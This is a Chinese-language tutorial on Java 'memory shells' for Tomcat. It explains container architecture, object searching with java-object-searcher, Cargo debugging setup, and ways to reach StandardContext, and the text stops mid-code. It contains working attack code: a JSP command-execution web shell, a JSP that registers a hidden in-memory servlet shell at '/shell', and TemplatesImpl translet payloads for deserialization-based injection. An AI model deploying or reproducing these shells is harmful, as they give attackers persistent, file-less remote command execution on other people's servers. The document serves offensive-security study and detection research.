基础知识 基本概念 内存马(memory shell) 指的是攻击者在获得代码执行 后,不落盘 地把恶意逻辑“挂接”进正在运行的 Java Web 容器(如 Tomcat/Jetty/Undertow 或上层框架如 Spring MVC)——让后续的 HTTP 请求在内存中的组件里被拦截/处理,从而实现长期控制与隐蔽通信。进程彻底重启 通常会使其消失。
通常来说,由于 Java 的 JSP 支持热加载,因此我们可以通过上传一个 JSP 的 Web Shell 来实现不出网情况下的任意命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <% request.setCharacterEncoding("UTF-8" ); String cmd = request.getParameter("cmd" ); if (cmd != null && !cmd.isEmpty()) { boolean isWin = System.getProperty("os.name" ).toLowerCase().contains("win" ); String procCharset = isWin ? "GBK" : "UTF-8" ; String[] full = isWin ? new String []{"cmd.exe" , "/c" , cmd} : new String []{"/bin/sh" , "-c" , cmd}; ProcessBuilder pb = new ProcessBuilder (full); pb.redirectErrorStream(true ); Process p = pb.start(); out.print("<pre>" ); try (java.io.BufferedReader br = new java .io.BufferedReader( new java .io.InputStreamReader(p.getInputStream(), java.nio.charset.Charset.forName(procCharset)))) { String line; while ((line = br.readLine()) != null ) { out.println(line); } } try { p.waitFor(); } catch (InterruptedException e) { throw new RuntimeException (e); } out.print("</pre>" ); } %>
而内存马则不会有实体文件,而是直接运行在 Web 进程中。目前安全行业主要讨论的内存马主要分为以下几种方式:
动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
动态注册 interceptor/controller(使用框架如 spring/struts2)
动态注册使用职责链 设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
使用 java agent 技术写入字节码
对象搜索 内存马通常需要往指定对象中注册监听类,这就需要我们通过当前可直接访问的对象查找目标对象。
Java Object Searcher 项目可以对内存中的对象进行搜索。
我们首先需要将 java-object-searcher-<version>.jar 引入到目标应用的 classpath 中,或者可以放在 jdk 的 ext 目录;之后编写调用代码搜索目标对象。
对于 Maven 项目中我们需要在 pom.xml 中添加 java-object-searcher 的依赖:
1 2 3 4 5 6 7 <dependency > <groupId > me.gv7.tools</groupId > <artifactId > java-object-searcher</artifactId > <version > local</version > <scope > system</scope > <systemPath > ${project.basedir}/lib/java-object-searcher.jar</systemPath > </dependency >
并且确保在打包成 war 包的时候也要将 Jar 包放到 WEB-INF/lib 目录下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-war-plugin</artifactId > <version > 3.4.0</version > <configuration > <webResources > <resource > <directory > ${project.basedir}/lib</directory > <targetPath > WEB-INF/lib</targetPath > <includes > <include > java-object-searcher.jar</include > </includes > </resource > </webResources > </configuration > </plugin > </plugins > </build >
搜索目标对象的时候需要根据要搜索什么样的对象,选择对应的搜索器,目前项目有三类:
JavaObjectSearcher:普通搜索器
SearchRequstByBFS:通过广度优先搜索 requst 对象搜索器
SearchRequstByRecursive:通过深度优先搜索 requst 对象搜索器(递归实现)
以搜索 request 对象为例,选好搜索器 SearchRequstByBFS,并根据要搜索的目标特点构造好关键字(必须)和黑名单(非必须),可写如下搜索代码到 IDEA 的 Evaluate 中执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java .util.ArrayList<>(); keys.add(new me .gv7.tools.josearcher.entity.Keyword.Builder().setField_type("ServletRequest" ).build()); java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new java .util.ArrayList<>(); blacklists.add(new me .gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File" ).build()); me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me .gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.currentThread(),keys); searcher.setBlacklists(blacklists); searcher.setIs_debug(true ); searcher.setMax_search_depth(20 ); searcher.setReport_save_path("." ); searcher.searchObject();
1 2 3 4 5 6 7 8 9 10 11 12 13 java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java .util.ArrayList<>(); keys.add(new me .gv7.tools.josearcher.entity.Keyword.Builder().setField_type("org.apache.catalina.connector.RequestFacade" ).build()); me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me .gv7.tools.josearcher.searcher.SearchRequstByBFS(this ,keys); searcher.setMax_search_depth(20 ); searcher.setReport_save_path("." ); searcher.searchObject();
关键字是搜索目标对象的关键,可以目标三个属性属性名 (field_name),属性值 (field_value)和属性类型 (field_type)。
比如想搜索属性名为 table 同时属性值为 test 的对象,还搜索属性名 request 同时属性类型包含 RequestInfo 关键字的,对应的逻辑表达试如下:
1 (field_name = table & field_value = test) || (field_name = request & field_type = RequestInfo)
编写代码如下:
1 2 3 List<Keyword> keys = new ArrayList <>(); keys.add(new Keyword .Builder().setField_name("table" ).setField_type("test" ).build()); keys.add(new Keyword .Builder().setField_name("request" ).setField_type("RequestInfo" ).build());
黑名单是定义哪些属性中不可能存有要搜索的目标对象,防止无意义的搜索,浪费时间。如果把上面的例子当做黑名单,编写的代码也是类似的。
1 2 3 List<Blacklist> blacklists = new ArrayList <>(); blacklists.add(new Blacklist .Builder().setField_name("table" ).setField_value("test" ).build()); blacklists.add(new Blacklist .Builder().setField_name("request" ).setField_type("RequestInfo" ).build());
这种方法是从当前上下文实例化的某个对象开始搜索的,而实际情况下我们还可以通过某个特定的类的静态成员获取指定的对象。因此如果使用这个工具无法搜索到指定对象的话可以考虑一下这种情况。
容器调试 cargo-maven3-plugin 是 Codehaus Cargo 项目提供的 Maven 插件,用于在 Maven 构建过程中 自动下载、配置、启动、部署和管理 Java Web 容器(如 Tomcat、Jetty、WildFly 等) 。
Cargo 是插件,但它本质是由 容器适配层 + Maven 插件封装层 组成。
Container:代表你使用的 Web 容器(Tomcat7x/9x、Jetty10x/11x、WildFly22x 等)
Configuration:控制容器的启动行为,比如端口、JVM 参数、部署路径等
Deployable:WAR、EAR 或其他部署单元
zipUrlInstaller:用于自动下载并解压你指定版本的容器安装包(保证版本精确)
cargo-maven3-plugin 的配置如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <build > <plugins > <plugin > <artifactId > maven-compiler-plugin</artifactId > <version > 3.11.0</version > <configuration > <source > ${maven.compiler.source}</source > <target > ${maven.compiler.target}</target > <debug > true</debug > <debuglevel > lines,vars,source</debuglevel > </configuration > </plugin > <plugin > <artifactId > maven-war-plugin</artifactId > <version > 3.4.0</version > <configuration > <failOnMissingWebXml > false</failOnMissingWebXml > </configuration > </plugin > <plugin > <groupId > org.codehaus.cargo</groupId > <artifactId > cargo-maven3-plugin</artifactId > <version > 1.10.21</version > <configuration > <container > <containerId > ${container.id}</containerId > <type > embedded</type > </container > <configuration > <type > standalone</type > <properties > <cargo.servlet.port > 8080</cargo.servlet.port > </properties > </configuration > <deployables > <deployable > <type > war</type > <location > ${project.build.directory}/${project.build.finalName}.war</location > <properties > <context > /</context > </properties > </deployable > </deployables > </configuration > </plugin > </plugins > </build >
cargo-maven3-plugin 不会给项目引入源码,因此我们需要在 Maven 导入对应的项目方便调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <dependency > <groupId > org.apache.tomcat.embed</groupId > <artifactId > tomcat-embed-jasper</artifactId > <version > ${container.version}</version > <scope > provided</scope > </dependency > <dependency > <groupId > org.apache.tomcat.embed</groupId > <artifactId > tomcat-embed-el</artifactId > <version > ${container.version}</version > <scope > provided</scope > </dependency > <dependency > <groupId > org.apache.tomcat.embed</groupId > <artifactId > tomcat-embed-core</artifactId > <version > ${container.version}</version > <scope > provided</scope > </dependency > <dependency > <groupId > org.eclipse.jdt</groupId > <artifactId > ecj</artifactId > <version > 3.33.0</version > <scope > provided</scope > </dependency >
cargo 运行的项目需要打包成 war 包,因此需要在 <project> 顶部补上:
1 <packaging > war</packaging >
在 运行/调试配置 中新建一个 Maven 配置,并且运行命令行设置为 clean package cargo:run -f pom.xml。
容器类内存马 Java Web 容器 (更准确叫“Servlet 容器 ”,Jakarta Servlet 规范的实现)是运行 Servlet/JSP 等 Web 组件的运行时环境。它负责把底层的 HTTP 请求 交给你的代码处理,并把 HTTP 响应 发送回客户端,同时管理应用的加载、隔离与生命周期。
Tomcat 内存马 Tomcat(Apache Tomcat)是一个开源的 Java Web 服务器 / Servlet 容器 :实现了 Jakarta Servlet、JSP、EL、WebSocket 等规范,把浏览器发来的 HTTP 请求交给你的 Servlet/JSP 代码执行,再把结果作为 HTTP 响应返回。它既能当轻量 Web 服务器用,也常作为应用容器挂在 Nginx/Apache httpd 之后。
Tomcat 的环境配置如下,其中 9.x 系列实现 Servlet 4.0 / JSP 2.3;10.x 起转向 Jakarta 命名空间(javax.* → jakarta.*)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <properties > <maven.compiler.source > 8</maven.compiler.source > <maven.compiler.target > 8</maven.compiler.target > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > <container.id > tomcat7x</container.id > <container.version > 7.0.109</container.version > </properties > <properties > <maven.compiler.source > 8</maven.compiler.source > <maven.compiler.target > 8</maven.compiler.target > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > <container.id > tomcat8x</container.id > <container.version > 8.5.100</container.version > </properties > <properties > <maven.compiler.source > 8</maven.compiler.source > <maven.compiler.target > 8</maven.compiler.target > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > <container.id > tomcat9x</container.id > <container.version > 9.0.109</container.version > </properties > <properties > <maven.compiler.source > 11</maven.compiler.source > <maven.compiler.target > 11</maven.compiler.target > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > <container.id > tomcat10x</container.id > <container.version > 10.1.46</container.version > </properties >
我们可以把 Tomcat 简单看成由下面三个部分组成的系统:
Catalina :Servlet 容器,负责容器层级与调度:Server → Service → Engine → Host → Context → Wrapper ,还有 Pipeline/Valve 、Session/Realm、安全等。
Coyote :连接器/协议栈(监听端口、解析 HTTP/AJP,把 I/O 转成容器可用的 Request/Response,再把响应写回)。支持 HTTP/1.1、HTTP/2 、AJP;实现包括 NIO、NIO2、APR/native。
Jasper :JSP 引擎(把 JSP 编译成 Servlet;文件变更时可重新编译)。
结构如下:
1 2 3 4 5 6 7 8 Server └─ Service ├─ Connector(们) ← Coyote:监听端口,解析 HTTP/AJP └─ Engine ← Catalina:容器入口 ├─ Host(们) ← 虚拟主机:按域名分站 │ └─ Context ← Web 应用:一个 WAR / 目录 │ └─ Wrapper← 单个 Servlet 的“座位” └─ Host ...
Server :Tomcat 整体进程(顶层容器)。
Service :把“一组端口”(Connectors) 和 “一个处理器”(Engine) 绑在一起。常见只有一个 Service。
Connector(Coyote) :开端口、收发字节、解析协议(HTTP/1.1、AJP、可启用 HTTP/2)。不懂 Servlet ,只把请求交给 Engine。
Engine(Catalina) :容器的总入口,下面都是 Catalina 的活儿。
Host :虚拟主机(按域名区分多个站点)。example.com、blog.example.com 各是一个 Host。
Context :一个 Web 应用(一个 WAR 或 webapps 里的目录)。它有上下文路径 :/、/app、/admin…
Wrapper :一个 Servlet 的容器节点(StandardWrapper),一个 Wrapper = 一个 Servlet 实例。
以请求 http://shop.example.com/app/hello/list 为例:
Connector (比如 8080 的 HTTP) 收到 TCP 连接→解析 HTTP→得到请求行/头/体。
Adapter + Mapper (桥接 & 路由匹配)
读 Host 头:**shop.example.com** → 选中对应 Host ;
读 URL 路径:在这个 Host 下找 Context,按“最长前缀 ”匹配:
有 "/"、"/app",就选 **/app**;
余下路径再匹配 Servlet 映射(Wrapper):优先级大致是精确 → 前缀 /x/* → 扩展名 *.do → **默认 /**。
Engine/Host/Context/Wrapper 的 Pipeline/Valve 进入 Engine.Pipeline ,先跑你配的 Valves(访问日志、IP 还原等),Engine.Basic (StandardEngineValve)把请求交到目标 Host.Pipeline ; Host 同理,Host.Basic 交给 Context.Pipeline ; Context 同理,Context.Basic 交给 Wrapper.Pipeline ; 最底层 **StandardWrapperValve**:
分配/初始化目标 Servlet;
按 filterMaps 动态构建过滤器链 ;
执行所有 Filter,**链尾调用 servlet.service(req, resp)**。
Tomcat 常见问题 如何获取 StandardContext org.apache.catalina.core.StandardContext 是 Catalina(Tomcat 的 Servlet 容器)里 Context 接口的标准实现 。一个 StandardContext 就代表 Tomcat 里的一个 Web 应用(一个 WAR 或 webapp 目录) 。
由于该容器负责组件注册与容器内部结构 等重要功能,因此注册内存马的时候我们经常需要获取 StandardContext。
从 ServletRequest 获取 无论是 JSP 中的 request 对象还是 Servlet 的 service 方法的 ServletRequest 参数,获取的 Request 实际上都是org.apache.catalina.connector.RequestFacade 类型的。
其中 RequestFacade 中的 request 成员是 org.apache.catalina.connector.Request 类型,我们可以通过调用它的 getContext 方法获取 org.apache.catalina.core.StandardContext:
1 2 3 4 Field requestField = request.getClass().getDeclaredField("request" );requestField.setAccessible(true ); Request req = (Request) requestField.get(request);StandardContext standardContext = (StandardContext) req.getContext();
另外下面这种方式也可以获取 standardContext,但是过程要麻烦一些。
1 2 3 4 5 6 7 ServletContext servletContext = request.getServletContext();Field applicationContextField = servletContext.getClass().getDeclaredField("context" );applicationContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context" );standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
对于任意字节码加载这种情况,由于触发漏洞点的位置不一定能获取到 request 对象,因此我们需要寻找其他通用的方式获取。
从 ApplicationFilterChain 获取 org.apache.catalina.core.ApplicationFilterChain 是 Tomcat 里 FilterChain 的实现 :为“这一次请求/一次转发调度”把所有匹配到的 Filter 排成一条链 ,然后依次调用它们 ;当所有 Filter 都跑完后,**最后一次 doFilter() 就会去调目标 Servlet#service()**。
其中在 ApplicationFilterChain 中有两个静态变量 lastServicedRequest 和 lastServicedResponse:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public final class ApplicationFilterChain implements FilterChain { private static final ThreadLocal<ServletRequest> lastServicedRequest; private static final ThreadLocal<ServletResponse> lastServicedResponse; static { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest = new ThreadLocal <>(); lastServicedResponse = new ThreadLocal <>(); } else { lastServicedRequest = null ; lastServicedResponse = null ; } } }
在静态代码块中,如果 org.apache.catalina.core.ApplicationDispatcher#WRAP_SAME_OBJECT 为 true 则这两个变量会被初始化为 java.lang.ThreadLocal。
ThreadLocal 是 Java 中针对每个线程存储自身的变量的一个容器。在 ApplicationFilterChain#internalDoFilter 函数调用 javax.servlet#service 函数前,会分别为其设置 request 和 response 对象。而在 javax.servlet#service 函数调用后,又会清空 lastServicedRequest 和 lastServicedResponse。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); } if (request.isAsyncSupported() && !servletSupportsAsync) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if ((request instanceof HttpServletRequest) && (response instanceof HttpServletResponse) && Globals.IS_SECURITY_ENABLED) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object [] { req, res }; SecurityUtil.doAsPrivilege("service" , servlet, classTypeUsedInService, args, principal); } else { servlet.service(request, response); } } catch (IOException | ServletException | RuntimeException e) { throw e; } catch (Throwable e) { e = ExceptionUtils.unwrapInvocationTargetException(e); ExceptionUtils.handleThrowable(e); throw new ServletException (sm.getString("filterChain.servlet" ), e); } finally { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(null ); lastServicedResponse.set(null ); } }
因此如果漏洞点可以从 javax.servlet#service 调用过来,那么我们就可以通过 lastServicedRequest 对象获取本次请求对应的 ServletRequest 对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Class applicationFilterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain" );java.lang.reflect.Field lastServicedRequestField = applicationFilterChainClass.getDeclaredField("lastServicedRequest" ); lastServicedRequestField.setAccessible(true ); ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null );if (lastServicedRequest != null && lastServicedRequest.get() != null ) { ServletRequest servletRequest = (ServletRequest) lastServicedRequest.get(); Field requestField = servletRequest.getClass().getDeclaredField("request" ); requestField.setAccessible(true ); Request request = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request.getContext(); return standardContext; }
由于调用 Filter 的位置位于 lastServicedRequest 赋值之前,因此这个方法不适用于漏洞点位于 Filter 的情况。这也正是为什么 Shiro 反序列化中不能用这个来做回显的原因。
然而通常来说 WRAP_SAME_OBJECT 的值为 false,因此在反射获取 ServletContext 之前,我们需要先:
将 org.apache.catalina.core.ApplicationDispatcher#WRAP_SAME_OBJECT 设置为 true,确保下次请求能够将 ServletRequest 对象保存在 lastServicedRequest 中。
将 lastServicedRequest 和 lastServicedResponse 设置为 ThreadLocal,否则下一次请求调用 set 方法会触发 NPE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Field;import java.lang.reflect.Modifier;public class ApplicationDispatcherPrimingTranslet extends AbstractTranslet { static { try { setFieldValue( "org.apache.catalina.core.ApplicationFilterChain" , "lastServicedRequest" , new ThreadLocal <>() ); setFieldValue( "org.apache.catalina.core.ApplicationFilterChain" , "lastServicedResponse" , new ThreadLocal <>() ); setFieldValue( "org.apache.catalina.core.ApplicationDispatcher" , "WRAP_SAME_OBJECT" , true ); } catch (Exception ignored) { } } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static Field getDeclaredField (Class<?> clazz, String fieldName) throws Exception { Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); return field; } public static void setFieldValue (String className, String fieldName, Object value) throws Exception { Class<?> clazz = Class.forName(className); Field field = getDeclaredField(clazz, fieldName); Field modifiers = getDeclaredField(field.getClass(), "modifiers" ); modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL); field.set(null , value); } }
从 AbstractProcessor 获取 1 2 3 4 5 6 7 8 9 10 public class Http11Processor extends AbstractProcessor { } public abstract class AbstractProcessor extends AbstractProcessorLight implements ActionHook { protected final Request request; protected final Response response; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 at HelloWorldServlet.service(HelloWorldServlet.java:33) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:212) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617)
请求头过长问题 https://www.cnblogs.com/zpchcbd/p/15167571.html
基于 Servlet API Servlet、Listener、Filter 由 javax.servlet.ServletContext 去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。
Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add*/create* 方法来实现动态注册的功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 public interface ServletContext { <T extends Servlet > T createServlet (Class<T> c) throws ServletException; ServletRegistration.Dynamic addServlet (String servletName, String className) ; ServletRegistration.Dynamic addServlet (String servletName, Servlet servlet) ; ServletRegistration.Dynamic addServlet (String servletName, Class<? extends Servlet> servletClass) ; <T extends EventListener > T createListener (Class<T> c) throws ServletException; void addListener (String className) ; <T extends EventListener > void addListener (T t) ; void addListener (Class<? extends EventListener> listenerClass) ; <T extends Filter > T createFilter (Class<T> c) throws ServletException; FilterRegistration.Dynamic addFilter (String filterName, String className) ; FilterRegistration.Dynamic addFilter (String filterName, Filter filter) ; FilterRegistration.Dynamic addFilter (String filterName, Class<? extends Filter> filterClass) ; }
上面这些 add* 方法只能在应用启动期调用 ;否则容器应抛 IllegalStateException。在业务应用中常常在 ServletContextListener#contextInitialized 里注册 Servlet、Listener、Filter 组件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import javax.servlet.*;import javax.servlet.annotation.WebListener;import java.util.EnumSet;@WebListener public class AppInitializer implements ServletContextListener { @Override public void contextInitialized (ServletContextEvent sce) { ServletContext ctx = sce.getServletContext(); ServletRegistration.Dynamic s = ctx.addServlet("hello" , HelloServlet.class); if (s != null ) { s.addMapping("/hello/*" ); s.setLoadOnStartup(1 ); s.setAsyncSupported(true ); s.setInitParameter("k" , "v" ); } FilterRegistration.Dynamic f = ctx.addFilter("log" , new LogFilter ()); if (f != null ) { f.addMappingForUrlPatterns( EnumSet.of(DispatcherType.REQUEST), true , "/*" ); } ctx.addListener(new MySessionListener ()); } @Override public void contextDestroyed (ServletContextEvent sce) { } }
Servlet 型内存马 前面注册注册组件使用的 javax.servlet.ServletContext 只是接口。通过调试 addServlet 函数调用发现是 org.apache.catalina.core.ApplicationContext#addServlet 完成实际的添加操作。
1 2 3 4 at org.apache.catalina.core.ApplicationContext.addServlet(ApplicationContext.java:886) at org.apache.catalina.core.ApplicationContext.addServlet(ApplicationContext.java:839) at org.apache.catalina.core.ApplicationContextFacade.addServlet(ApplicationContextFacade.java:494) at AppInitializer.contextInitialized(AppInitializer.java:16)
直接 ApplicationContext#addServlet 会有一些注册状态的检查,但是分析 ApplicationContext#addServlet 的实现可知,该函数实际是通过调用它的 context 成员完成注册的,因此我们可以仿照 ApplicationContext#addServlet 的过程直接调用 context 的相关方法完成注册。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 private ServletRegistration.Dynamic addServlet (String servletName, String servletClass, Servlet servlet, Map<String,String> initParams) throws IllegalStateException { if (servletName == null || servletName.equals("" )) { throw new IllegalArgumentException ( sm.getString("applicationContext.invalidServletName" , servletName)); } checkState("applicationContext.addServlet.ise" ); Wrapper wrapper = (Wrapper) context.findChild(servletName); if (wrapper == null ) { wrapper = context.createWrapper(); wrapper.setName(servletName); context.addChild(wrapper); } else { if (wrapper.getName() != null && wrapper.getServletClass() != null ) { if (wrapper.isOverridable()) { wrapper.setOverridable(false ); } else { return null ; } } } ServletSecurity annotation = null ; if (servlet == null ) { wrapper.setServletClass(servletClass); Class<?> clazz = Introspection.loadClass(context, servletClass); if (clazz != null ) { annotation = clazz.getAnnotation(ServletSecurity.class); } } else { wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); if (context.wasCreatedDynamicServlet(servlet)) { annotation = servlet.getClass().getAnnotation(ServletSecurity.class); } } if (initParams != null ) { for (Map.Entry<String,String> initParam : initParams.entrySet()) { wrapper.addInitParameter(initParam.getKey(), initParam.getValue()); } } ServletRegistration.Dynamic registration = new ApplicationServletRegistration (wrapper, context); if (annotation != null ) { registration.setServletSecurity(new ServletSecurityElement (annotation)); } return registration; }
这里 context 是 org.apache.catalina.core.StandardContext 类型。
1 2 3 4 5 6 7 8 private final StandardContext context;
根据对 ApplicationContext#addServlet 函数的分析,我们等价实现如下过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 Field reqF = request.getClass().getDeclaredField("request" );reqF.setAccessible(true ); Request req = (Request) reqF.get(request);StandardContext stdcontext = (StandardContext) req.getContext();Wrapper newWrapper = stdcontext.createWrapper();String name = servlet.getClass().getSimpleName();newWrapper.setName(name); newWrapper.setLoadOnStartup(1 ); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); stdcontext.addChild(newWrapper);
之后需要调用 StandardContext#addServletMappingDecoded 添加路径映射:
1 stdcontext.addServletMappingDecoded("/shell" , name);
JSP 代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page import ="java.io.PrintWriter" %> <%! Servlet servlet = new Servlet () { @Override public void init (ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd" ); boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); servletRequest.setCharacterEncoding("UTF-8" ); } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }; %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext(); %> <% Wrapper newWrapper = stdcontext.createWrapper(); String name = servlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1 ); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); %> <% stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/shell" , name); %>
TemplatesImpl 字节码加载恶意类实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.Wrapper;import org.apache.catalina.core.StandardContext;import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.util.Scanner;public class ServletMemShell extends AbstractTranslet implements Servlet { static private String servletName = "ServletMemShell" ; static private String servletUrl = "/shell" ; static { try { ServletContext servletContext = getServletContext(); StandardContext standardContext = getStandardContext(servletContext); Servlet evilServlet = new ServletMemShell (); Wrapper newWrapper = standardContext.createWrapper(); newWrapper.setName(servletName); newWrapper.setLoadOnStartup(1 ); newWrapper.setServlet(evilServlet); standardContext.addChild(newWrapper); standardContext.addServletMappingDecoded(servletUrl, servletName); } catch (Exception e) { e.printStackTrace(); } } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } private static ServletContext getServletContext () throws NoSuchFieldException, 